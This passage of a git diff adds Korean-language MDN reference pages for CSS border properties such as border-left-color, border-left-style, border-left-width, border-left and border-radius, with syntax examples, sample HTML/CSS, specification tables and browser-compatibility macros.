+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
+<p>보조 기술은 테두리 이미지를 읽을 수 없습니다. 이미지가 페이지 목적의 이해에 필수적인 정보를 갖고 있다면 문서에서 구조적으로 설명하는 편이 좋습니다.</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.1_%E2%80%94_Providing_text_alternatives_for_non-text_content">MDN Understanding WCAG, Guideline 1.1 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/2016/NOTE-UNDERSTANDING-WCAG20-20161007/text-equiv-all.html" rel="noopener">Understanding Success Criterion 1.1.1 | Understanding WCAG 2.0</a></li>
+</ul>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#the-border-image', 'border-image')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.border-image")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{cssxref("border")}}</li>
+ <li>{{cssxref("outline")}}</li>
+ <li>{{cssxref("box-shadow")}}</li>
+ <li>{{cssxref("background-image")}}</li>
+ <li>{{cssxref("url()")}} 함수</li>
+ <li>그레이디언트 함수: {{CSSxRef("conic-gradient")}}, {{CSSxRef("linear-gradient")}}, {{CSSxRef("repeating-linear-gradient")}}, {{CSSxRef("radial-gradient")}}, {{CSSxRef("repeating-radial-gradient")}}</li>
+</ul>
diff --git a/files/ko/web/css/border-left-color/index.html b/files/ko/web/css/border-left-color/index.html
new file mode 100644
index 0000000000..be69191773
--- /dev/null
+++ b/files/ko/web/css/border-left-color/index.html
@@ -0,0 +1,114 @@
+---
+title: border-left-color
+slug: Web/CSS/border-left-color
+tags:
+  - CSS
+  - CSS Borders
+  - CSS Property
+  - Reference
+translation_of: Web/CSS/border-left-color
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><strong><code>border-left-color</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> 속성은 요소의 왼쪽 테두리 색상을 지정합니다.</span> {{cssxref("border-color")}} 또는 {{cssxref("border-left")}} 단축 속성으로도 지정할 수 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-left-color.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: css no-line-numbers  language-css">/* &lt;color&gt; 값 */
+border-left-color: red;
+border-left-color: #ffbb00;
+border-left-color: rgb(255, 0, 0);
+border-left-color: hsla(100%, 50%, 25%, 0.75);
+border-left-color: currentColor;
+border-left-color: transparent;
+
+/* 전역 값 */
+border-left-color: inherit;
+border-left-color: initial;
+border-left-color: unset;
+</pre>
+
+<p><code>border-left-color</code> 속성은 하나의 값을 사용해 지정합니다.</p>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;color&gt;")}}</dt>
+ <dd>왼쪽 테두리의 색상.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="테두리를_가진_간단한_상자">테두리를 가진 간단한 상자</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;div class="mybox"&gt;
+  &lt;p&gt;This is a box with a border around it.
+     Note which side of the box is
+     &lt;span class="redtext"&gt;red&lt;/span&gt;.&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">.mybox {
+  border: solid 0.3em gold;
+  border-left-color: red;
+    width: auto;
+}
+
+.redtext {
+  color: red;
+}</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample('테두리를_가진_간단한_상자')}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#border-left-color', 'border-left-color')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>No significant changes, though the <code>transparent</code> keyword, now included in {{cssxref("&lt;color&gt;")}} which has been extended, has been formally removed.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'box.html#propdef-border-left-color', 'border-left-color')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.border-left-color")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>테두리 관련 CSS 단축 속성: {{cssxref("border")}}, {{cssxref("border-left")}}, {{cssxref("border-color")}}.</li>
+ <li>다른 방향 테두리의 색상 관련 CSS 단축 속성: {{cssxref("border-top-color")}}, {{cssxref("border-right-color")}}, {{cssxref("border-bottom-color")}}.</li>
+ <li>왼쪽 테두리 관련 CSS 속성: {{cssxref("border-left-style")}}, {{cssxref("border-left-width")}}.</li>
+</ul>
diff --git a/files/ko/web/css/border-left-style/index.html b/files/ko/web/css/border-left-style/index.html
new file mode 100644
index 0000000000..18bc232483
--- /dev/null
+++ b/files/ko/web/css/border-left-style/index.html
@@ -0,0 +1,134 @@
+---
+title: border-left-style
+slug: Web/CSS/border-left-style
+tags:
+  - CSS
+  - CSS Borders
+  - CSS Property
+  - Reference
+translation_of: Web/CSS/border-left-style
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>border-left-style</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> 속성은 요소 테두리의 왼쪽 스타일을 지정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-left-style.html")}}</div>
+
+
+
+<div class="note"><strong>참고:</strong> 명세는 서로 다른 스타일의 테두리가 꼭지점에서 만날 때 어떻게 그려야 할지는 정의하고 있지 않습니다.</div>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="brush:css no-line-numbers">/* 키워드 값 */
+border-left-style: none;
+border-left-style: hidden;
+border-left-style: dotted;
+border-left-style: dashed;
+border-left-style: solid;
+border-left-style: double;
+border-left-style: groove;
+border-left-style: ridge;
+border-left-style: inset;
+border-left-style: outset;
+
+/* 전역 값 */
+border-left-style: inherit;
+border-left-style: initial;
+border-left-style: unset;
+</pre>
+
+<p><code>border-left-style</code> 속성은 {{cssxref("border-style")}} 속성에 사용할 수 있는 키워드 중 하나를 사용해 지정할 수 있습니다.</p>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;table&gt;
+  &lt;tr&gt;
+    &lt;td class="b1"&gt;none&lt;/td&gt;
+    &lt;td class="b2"&gt;hidden&lt;/td&gt;
+    &lt;td class="b3"&gt;dotted&lt;/td&gt;
+    &lt;td class="b4"&gt;dashed&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td class="b5"&gt;solid&lt;/td&gt;
+    &lt;td class="b6"&gt;double&lt;/td&gt;
+    &lt;td class="b7"&gt;groove&lt;/td&gt;
+    &lt;td class="b8"&gt;ridge&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td class="b9"&gt;inset&lt;/td&gt;
+    &lt;td class="b10"&gt;outset&lt;/td&gt;
+  &lt;/tr&gt;
+&lt;/table&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">/* Define look of the table */
+table {
+  border-width: 2px;
+  background-color: #52E385;
+}
+tr, td {
+  padding: 3px;
+}
+
+/* border-left-style example classes */
+.b1 {border-left-style: none;}
+.b2 {border-left-style: hidden;}
+.b3 {border-left-style: dotted;}
+.b4 {border-left-style: dashed;}
+.b5 {border-left-style: solid;}
+.b6 {border-left-style: double;}
+.b7 {border-left-style: groove;}
+.b8 {border-left-style: ridge;}
+.b9 {border-left-style: inset;}
+.b10 {border-left-style: outset;}</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample('예제', 300, 200)}}</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#the-border-style', 'border-left-style')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>No significant change.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'box.html#border-style-properties', 'border-left-style')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.border-left-style")}}</p>
+
+<h2 id="See_Also" name="See_Also">같이 보기</h2>
+
+<ul>
+ <li>테두리 스타일 관련 CSS 속성: {{cssxref("border-top-style")}}, {{cssxref("border-right-style")}}, {{cssxref("border-bottom-style")}}, {{cssxref("border-style")}}.</li>
+ <li>왼쪽 테두리 관련 CSS 속성: {{cssxref("border-left")}}, {{cssxref("border-left-color")}}, {{cssxref("border-left-width")}}.</li>
+</ul>
diff --git a/files/ko/web/css/border-left-width/index.html b/files/ko/web/css/border-left-width/index.html
new file mode 100644
index 0000000000..78687a842a
--- /dev/null
+++ b/files/ko/web/css/border-left-width/index.html
@@ -0,0 +1,150 @@
+---
+title: border-left-width
+slug: Web/CSS/border-left-width
+tags:
+  - CSS
+  - CSS Borders
+  - CSS Property
+  - Reference
+  - 'recipe:css-property'
+translation_of: Web/CSS/border-left-width
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>border-left-width</code></strong> 속성은 요소의 왼쪽 테두리 너비를 지정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-left-width.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush:css no-line-numbers notranslate">/* 키워드 값 */
+border-left-width: thin;
+border-left-width: medium;
+border-left-width: thick;
+
+/* &lt;length&gt; 값 */
+border-left-width: 10em;
+border-left-width: 3vmax;
+border-left-width: 6px;
+
+/* 전역 값 */
+border-left-width: inherit;
+border-left-width: initial;
+border-left-width: unset;
+</pre>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>&lt;line-width&gt;</code></dt>
+ <dd>테두리의 너비입니다. 0 이상의 {{cssxref("&lt;length&gt;")}} 또는 키워드를 사용할 수 있습니다. 키워드는 다음 세 가지 중 하나여야 합니다.
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <td><code>thin</code></td>
+    <td>
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-left-style: solid; border-left-width: thin; background-color: palegreen;"></div>
+    </td>
+    <td>얇은 테두리</td>
+   </tr>
+   <tr>
+    <td><code>medium</code></td>
+    <td>
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-left-style: solid; border-left-width: medium; background-color: palegreen;"></div>
+    </td>
+    <td>중간 테두리</td>
+   </tr>
+   <tr>
+    <td><code>thick</code></td>
+    <td>
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-left-style: solid; border-left-width: thick; background-color: palegreen;"></div>
+    </td>
+    <td>굵은 테두리</td>
+   </tr>
+  </tbody>
+ </table>
+
+ <div class="note">
+ <p><strong>참고:</strong> 각 키워드의 굵기를 정의한 명세는 없기 때문에 결과는 구현별로 상이할 수 있습니다. 다만 굵기는 언제나 <code>thin ≤ medium ≤ thick</code>이고, 하나의 문서 내에서 동일합니다.</p>
+ </div>
+ </dd>
+</dl>
+
+<h2 id="형식_정의">형식 정의</h2>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="형식_구문">형식 구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="테두리의_너비_비교">테두리의 너비 비교</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;div&gt;Element 1&lt;/div&gt;
+&lt;div&gt;Element 2&lt;/div&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">div {
+  border: 1px solid red;
+  margin: 1em 0;
+}
+
+div:nth-child(1) {
+  border-left-width: thick;
+}
+div:nth-child(2) {
+  border-left-width: 2em;
+}</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample('테두리의_너비_비교', '100%')}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#the-border-width', 'border-left-width')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>No significant change.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'box.html#border-width-properties', 'border-left-width')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>No significant change.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#border-left-width', 'border-left-width')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.border-left-width")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>테두리 너비 관련 CSS 속성: {{Cssxref("border-top-width")}}, {{Cssxref("border-right-width")}}, {{Cssxref("border-bottom-width")}}, and {{Cssxref("border-width")}}.</li>
+ <li>왼쪽 테두리 관련 CSS 속성: {{Cssxref("border")}}, {{Cssxref("border-left")}}, {{Cssxref("border-left-style")}}, and {{Cssxref("border-left-color")}}.</li>
+</ul>
diff --git a/files/ko/web/css/border-left/index.html b/files/ko/web/css/border-left/index.html
new file mode 100644
index 0000000000..cf9b0547df
--- /dev/null
+++ b/files/ko/web/css/border-left/index.html
@@ -0,0 +1,109 @@
+---
+title: border-left
+slug: Web/CSS/border-left
+tags:
+  - CSS
+  - CSS Borders
+  - CSS Property
+  - Reference
+  - 테두리
+translation_of: Web/CSS/border-left
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><strong><code>border-left</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> <a href="/ko/docs/Web/CSS/Shorthand_properties">단축 속성</a>은 요소의 왼쪽 테두리를 설정합니다.</span> {{cssxref("border-left-width")}}, {{cssxref("border-left-style")}}, {{cssxref("border-left-color")}}의 값을 지정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-left.html")}}</div>
+
+
+
+<p>다른 단축 속성과 마찬가지로, <code>border-left</code>는 자신이 포함한 모든 값을 지정하며 사용자가 명시하지 않은 속성도 기본값으로 설정합니다. 즉, 아래 두 코드는 사실 동일합니다.</p>
+
+<pre class="brush: css">border-left-style: dotted;
+border-left: thick green;
+</pre>
+
+<pre class="brush: css">border-left-style: dotted;
+border-left: none thick green;
+</pre>
+
+<p>따라서 <code>border-left</code>보다 먼저 지정한 {{cssxref("border-left-style")}}의 값은 무시됩니다. {{cssxref("border-left-style")}}의 기본값은 <code>none</code>이므로, <code>border-style</code>을 명시하지 않으면 테두리를 만들지 않습니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: css no-line-numbers">border-left: 1px;
+border-left: 2px dotted;
+border-left: medium dashed green;
+</pre>
+
+<p><code>border-left</code>은 한 개에서 세 개의 값을 사용해 지정할 수 있고, 순서는 상관하지 않습니다.</p>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>&lt;br-width&gt;</code></dt>
+ <dd>{{cssxref("border-left-width")}}.</dd>
+ <dt><code>&lt;br-style&gt;</code></dt>
+ <dd>{{cssxref("border-left-style")}}.</dd>
+ <dt>{{cssxref("&lt;color&gt;")}}</dt>
+ <dd>{{cssxref("border-left-color")}}.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html">&lt;div&gt;
+  왼쪽 테두리를 가진 요소입니다.
+&lt;/div&gt;</pre>
+
+<pre class="brush: css">div {
+  border-left: 4px dashed blue;
+  background-color: gold;
+  height: 100px;
+  width: 100px;
+  font-weight: bold;
+  text-align: center;
+}
+</pre>
+
+<p>{{EmbedLiveSample('예제')}}</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#border-left', 'border-left')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>No direct changes, though the modification of values for the {{cssxref("border-left-color")}} do apply to it.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'box.html#propdef-border-left', 'border-left')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>No significant changes.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#border-left', 'border-left')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<div>{{cssinfo}}</div>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+<div class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("css.properties.border-left")}}</p>
diff --git a/files/ko/web/css/border-radius/index.html b/files/ko/web/css/border-radius/index.html
new file mode 100644
index 0000000000..3c9c812d36
--- /dev/null
+++ b/files/ko/web/css/border-radius/index.html
@@ -0,0 +1,228 @@
+---
+title: border-radius
+slug: Web/CSS/border-radius
+tags:
+  - CSS
+  - CSS Borders
+  - CSS Property
+  - Reference
+  - 'recipe:css-shorthand-property'
+translation_of: Web/CSS/border-radius
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>border-radius</code></strong> 속성은 요소 테두리 경계의 꼭짓점을 둥글게 만듭니다. 하나의 값을 사용해 원형 꼭짓점을, 두 개의 값을 사용해 타원형 꼭짓점을 적용할 수 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-radius.html")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div>
+
+<p>꼭짓점 반경은 요소의 테두리 존재 여부와는 별개로 전체 {{Cssxref("background")}}에 적용됩니다. 원형 꼭짓점으로 인해 배경이 잘리는 지점은 {{cssxref("background-clip")}} 속성이 지정합니다.</p>
+
+<p>{{cssxref("border-collapse")}}의 값이 <code>collapse</code>인 표 요소는 <code>border-radius</code> 속성의 영향을 받지 않습니다.</p>
+
+<div class="note"><strong>참고</strong>: 다른 단축 속성과 마찬가지로, 각각의 하위 속성이 부모를 상속하도록 할 수는 없습니다. 즉, <code>border-radius: 0 0 inherit inherit</code>처럼 일부만 재정의할 수 없습니다. 대신, 원래의 본디속성을 하나씩 사용하세요.</div>
+
+<h2 id="구성_속성">구성 속성</h2>
+
+<p><code>border-radius</code>는 다음 CSS 속성의 단축 속성입니다.</p>
+
+<ul>
+ <li>{{cssxref("border-bottom-left-radius")}}</li>
+ <li>{{cssxref("border-bottom-right-radius")}}</li>
+ <li>{{cssxref("border-top-left-radius")}}</li>
+ <li>{{cssxref("border-top-right-radius")}}</li>
+</ul>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: css notranslate">/* The syntax of the first radius allows one to four values */
+/* Radius is set for all 4 sides */
+border-radius: 10px;
+
+/* top-left-and-bottom-right | top-right-and-bottom-left */
+border-radius: 10px 5%;
+
+/* top-left | top-right-and-bottom-left | bottom-right */
+border-radius: 2px 4px 2px;
+
+/* top-left | top-right | bottom-right | bottom-left */
+border-radius: 1px 0 3px 4px;
+
+/* The syntax of the second radius allows one to four values */
+/* (first radius values) / radius */
+border-radius: 10px 5% / 20px;
+
+/* (first radius values) / top-left-and-bottom-right | top-right-and-bottom-left */
+border-radius: 10px 5% / 20px 30px;
+
+/* (first radius values) / top-left | top-right-and-bottom-left | bottom-right */
+border-radius: 10px 5px 2em / 20px 25px 30%;
+
+/* (first radius values) / top-left | top-right | bottom-right | bottom-left */
+border-radius: 10px 5% / 20px 25em 30px 35em;
+
+/* Global values */
+border-radius: inherit;
+border-radius: initial;
+border-radius: unset;</pre>
+
+<p><code>border-radius</code> 속성은 다음 방법으로 지정할 수 있습니다.</p>
+
+<ul>
+ <li>한 개에서 네 개의 {{cssxref("&lt;length&gt;")}} 또는 {{cssxref("&lt;percentage&gt;")}} 값은 꼭짓점의 단일 반지름을 설정합니다.</li>
+ <li>선택적으로 "<code>/</code>" 이후에 한 개에서 네 개의 <code>&lt;length&gt;</code> 또는 <code>&lt;percentage&gt;</code> 값을 사용해 추가 반지름을 설정해서 타원형 꼭짓점을 만들 수 있습니다.</li>
+</ul>
+
+<h3 id="값">값</h3>
+
+<table>
+ <tbody>
+  <tr>
+   <td style="vertical-align: top;"><em>radius</em></td>
+   <td><img alt="all-corner.png" class="default internal" src="/@api/deki/files/6138/=all-corner.png"></td>
+   <td style="vertical-align: top;">테두리의 각 꼭짓점 반지름을 나타내는 {{cssxref("&lt;length&gt;")}} 또는 {{cssxref("&lt;percentage&gt;")}}. 한 개 값 구문에서만 사용합니다.</td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;"><em>top-left-and-bottom-right</em></td>
+   <td><img alt="top-left-bottom-right.png" class="default internal" src="/@api/deki/files/6141/=top-left-bottom-right.png"></td>
+   <td style="vertical-align: top;">왼쪽 위와 오른쪽 아래 꼭짓점의 반지름을 나타내는 {{cssxref("&lt;length&gt;")}} 또는 {{cssxref("&lt;percentage&gt;")}}. 두 개 값 구문에서만 사용합니다.</td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;"><em>top-right-and-bottom-left</em></td>
+   <td><img alt="top-right-bottom-left.png" class="default internal" src="/@api/deki/files/6143/=top-right-bottom-left.png"></td>
+   <td style="vertical-align: top;">오른쪽 위와 왼쪽 아래 꼭짓점의 반지름을 나타내는 {{cssxref("&lt;length&gt;")}} 또는 {{cssxref("&lt;percentage&gt;")}}. 두 개 또는 세 개 값 구문에서만 사용합니다.</td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;"><em>top-left</em></td>
+   <td><img alt="top-left.png" class="default internal" src="/@api/deki/files/6142/=top-left.png"></td>
+   <td style="vertical-align: top;">왼쪽 위 꼭짓점의 반지름을 나타내는 {{cssxref("&lt;length&gt;")}} 또는 {{cssxref("&lt;percentage&gt;")}}. 세 개 또는 네 개 값 구문에서만 사용합니다.</td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;"><em>top-right</em></td>
+   <td style="margin-left: 2px;"><img alt="top-right.png" class="default internal" src="/@api/deki/files/6144/=top-right.png"></td>
+   <td style="vertical-align: top;">오른쪽 위 꼭짓점의 반지름을 나타내는 {{cssxref("&lt;length&gt;")}} 또는 {{cssxref("&lt;percentage&gt;")}}. 네 개 값 구문에서만 사용합니다.</td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;"><em>bottom-right</em></td>
+   <td style="margin-left: 2px;"><img alt="bottom-rigth.png" class="default internal" src="/@api/deki/files/6140/=bottom-rigth.png"></td>
+   <td style="vertical-align: top;">오른쪽 아래 꼭짓점의 반지름을 나타내는 {{cssxref("&lt;length&gt;")}} 또는 {{cssxref("&lt;percentage&gt;")}}. 네 개 값 구문에서만 사용합니다.</td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;"><em>bottom-left</em></td>
+   <td><img alt="bottom-left.png" class="default internal" src="/@api/deki/files/6139/=bottom-left.png"></td>
+   <td style="vertical-align: top;">왼쪽 아래 꼭짓점의 반지름을 나타내는 {{cssxref("&lt;length&gt;")}} 또는 {{cssxref("&lt;percentage&gt;")}}. 네 개 값 구문에서만 사용합니다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<dl>
+ <dt>{{cssxref("&lt;length&gt;")}}</dt>
+ <dd>길이 값을 사용해 원의 반지름 또는 타원의 짧은반지름과 긴반지름을 지정합니다. 음의 값은 유효하지 않습니다.</dd>
+ <dt>{{cssxref("&lt;percentage&gt;")}}</dt>
+ <dd>백분율 값을 사용해 원의 반지름 또는 타원의 짧은반지름과 긴반지름을 지정합니다. 가로축 값은 요소 박스의 너비에 대한 백분율이고, 세로축 값은 박스의 높이에 대한 백분율입니다. 음의 값은 유효하지 않습니다.</dd>
+</dl>
+
+<p>예를 들어...</p>
+
+<pre class="brush: css notranslate">border-radius: 1em/5em;
+
+/* 아래와 같음 */
+border-top-left-radius:     1em 5em;
+border-top-right-radius:    1em 5em;
+border-bottom-right-radius: 1em 5em;
+border-bottom-left-radius:  1em 5em;
+</pre>
+
+<pre class="brush: css notranslate">border-radius: 4px 3px 6px / 2px 4px;
+
+/* 아래와 같음 */
+border-top-left-radius:     4px 2px;
+border-top-right-radius:    3px 4px;
+border-bottom-right-radius: 6px 2px;
+border-bottom-left-radius:  3px 4px;
+</pre>
+
+<h2 id="형식_정의">형식 정의</h2>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="형식_구문">형식 구문</h2>
+
+<pre class="notranslate">{{csssyntax}}
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<pre style="display: inline-block; margin: 10px; border: solid 10px; border-radius: 10px 40px 40px 10px;">  border: solid 10px;
+  /* 테두리가 'D'형태가 됨 */
+  border-radius: 10px 40px 40px 10px;
+</pre>
+
+<pre style="display: inline-block; margin: 10px; border: groove 1em red  !important; border-radius: 2em; width: 90%;">  border: groove 1em red;
+  border-radius: 2em;
+</pre>
+
+<pre style="display: inline-block; margin: 10px; background: gold; border: ridge gold  !important; border-radius: 13em/3em; width: 90%;">  background: gold;
+  border: ridge gold;
+  border-radius: 13em/3em;
+</pre>
+
+<pre style="display: inline-block; margin: 10px; background: gold; border: none  !important; border-radius: 40px 10px; width: 90%;">  border: none;
+  border-radius: 40px 10px;
+</pre>
+
+<pre style="display: inline-block; margin: 10px; background: burlywood; border: none  !important; border-radius: 50%; width: 90%;">  border: none;
+  border-radius: 50%;
+</pre>
+
+<pre style="display: inline-block; margin: 10px; border: dotted; border-width: 10px 4px  !important; border-radius: 10px 40px; width: 90%;">  border: dotted;
+  border-width: 10px 4px;
+  border-radius: 10px 40px;
+</pre>
+
+<pre style="display: inline-block; margin: 10px; border: dashed; border-width: 2px 4px  !important; border-radius: 40px; width: 90%;">  border: dashed;
+  border-width: 2px 4px;
+  border-radius: 40px;
+</pre>
+
+<h3 id="라이브_샘플">라이브 샘플</h3>
+
+<ol>
+ <li><a href="http://jsfiddle.net/Tripad/qnGKj/2/">http://jsfiddle.net/Tripad/qnGKj/2/</a></li>
+ <li><a href="http://jsfiddle.net/Tripad/qnGKj/3/">http://jsfiddle.net/Tripad/qnGKj/3/</a></li>
+ <li><a href="http://jsfiddle.net/Tripad/qnGKj/3/">http://jsfiddle.net/Tripad/qnGKj/4/</a></li>
+ <li><a href="http://jsfiddle.net/Tripad/qnGKj/3/">http://jsfiddle.net/Tripad/qnGKj/5/</a></li>
+ <li><a href="http://jsfiddle.net/Tripad/qnGKj/3/">http://jsfiddle.net/Tripad/qnGKj/6/</a></li>
+</ol>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Backgrounds', '#border-radius', 'border-radius') }}</td>
+   <td>{{ Spec2('CSS3 Backgrounds') }}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.border-radius")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>꼭짓점 반경 관련 CSS 속성: {{Cssxref("border-top-left-radius")}}, {{Cssxref("border-top-right-radius")}}, {{Cssxref("border-bottom-right-radius")}}, {{Cssxref("border-bottom-left-radius")}}</li>
+</ul>
diff --git a/files/ko/web/css/border-right-color/index.html b/files/ko/web/css/border-right-color/index.html
new file mode 100644
index 0000000000..c6292d566b
--- /dev/null
+++ b/files/ko/web/css/border-right-color/index.html
@@ -0,0 +1,114 @@
+---
+title: border-right-color
+slug: Web/CSS/border-right-color
+tags:
+  - CSS
